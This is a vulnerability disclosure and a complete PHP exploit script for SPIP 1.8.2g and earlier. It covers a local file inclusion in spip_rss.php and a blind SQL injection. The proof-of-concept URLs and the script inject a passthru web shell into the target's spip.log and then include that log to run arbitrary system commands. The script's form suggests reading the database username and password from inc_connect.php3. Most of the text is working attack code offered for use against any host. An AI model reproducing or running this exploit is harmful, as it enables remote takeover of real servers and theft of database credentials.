SPIP versions 1.8.2g and below remote command execution exploit that makes use of an arbitrary local inclusion flaw and SQL injection.
59a62d80b8dadeee1215c4be9c2ad51fb3504482b5aa036653d700829a4ef5c1<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">----- SPIP <= 1.8.2g remote commands execution through arbitrary local inclusion /
sql injection --------------------------------------------------------------
software:
site: http://www.spip.net/en
description: SPIP is a publishing system developed in PHP
----------------------------------------------------------------------------------
i) vulnerable code in spip_rss.php at lines 25-29:
...
// Gestionnaire d'URLs
if (@file_exists("inc-urls.php3"))
include_local("inc-urls.php3");
else
include_local("inc-urls-".$GLOBALS['type_urls'].".php3");
...
if called directly, script fails to find inc-urls.php3, so... poc:
http://[target]/[path]/spip_rss.php?GLOBALS[type_urls]=/../ecrire/data/spip.log%00
also you can inject arbitrary php code in spip.log and execute arbitrary system
commands, poc:
http://[target]/[path]/spip_acces_doc.php3?id_document=0&file='&<?system($_GET[cmd]);?>
http://[target]/[path]/spip_rss.php?cmd=ls%20-la&GLOBALS[type_urls]=/../ecrire/data/spip.log%00
this works regardless of magic_quotes_gpc settings, because of Spip magic quotes
disable code...
----------------------------------------------------------------------------------
ii) possible blind sql injection, poc:
http://[target]/[path]/spip_acces_doc.php3?id_document=0&file=[SQL]
----------------------------------------------------------------------------------
exploit for i) :
<?php
# ---spip_182g_shell_inj_xpl.php 17.33 08/02/2006 #
# #
# SPIP <= 1.8.2g remote commands execution #
# coded by rgod #
# site: http://retrogod.altervista.org #
# #
# -> this works regardless of magic_quotes_gpc settings #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "Fighting with a large army under your command is nowise different #
# from fighting with a small one: it is merely a question of instituting #
# signs and signals." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);
echo'<html><head><title>*******SPIP 1.8.2g remote commands execution************
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
*******SPIP 1.8.2g remote commands execution************</p><p class="Stile6">a
script by rgod at <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%"><tr><td width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input
type="text" name="host"> <span class="Stile5"> * hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/spip/ or just / ) </span></p><p><input type="text" name="cmd"> <span
class="Stile5">* specify a command ("cat ./ecrire/inc_connect.php3" to see data
base username & password)</span></p><p><input type="text" name="port"> <span
class="Stile5">specify a port other than 80 (default value)</span></p><p><input
type="text" name="proxy"><span class="Stile5">send exploit through an HTTP proxy
(ip:port)</span></p><p><input type="submit" name="Submit" value="go!"> </p>
</form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {
echo "<td>0".htmlentities($datai)."</td>";
}
else {
echo "<td>".htmlentities($datai)."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //2x speed
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else {
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);echo nl2br(htmlentities($html));
}
$host=$_POST[host];$port=$_POST[port];
$path=$_POST[path];$proxy=$_POST[proxy];
$cmd=$_POST[cmd];$cmd=urlencode($cmd);
echo "<span class=\"Stile5\">";
if (($host<>'') and ($path<>'') and ($cmd<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
#STEP 1 -> Inject a shell in log file (ecrire/data/spip.log)
$SHELL="<?php ob_clean();echo\"Hi Master!\r\n\";ini_set(\"max_execution_time\",0);passthru(\$_GET[SUNTZU]);die();?>";
$SHELL=urlencode($SHELL);
$packet="GET ".$p."spip_acces_doc.php3?id_document=0&file=".$SHELL." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: GoogleBot 1.1 or \"Sun-Tzu\" giving you the death\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
#STEP 2 -> Arbitrary local inclusion, launch commands...
$packet="GET ".$p."spip_rss.php?GLOBALS[type_urls]=/../ecrire/data/spip.log%00&SUNTZU=".$cmd." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: NetAnts/1.2x\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master!",$html)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
}
else
{echo "Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>
--------------------------------------------------------------------
rgod
site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory: http://retrogod.altervista.org/spip_182g_shell_inj_xpl.html
--------------------------------------------------------------------
</span></span>
</code></pre>
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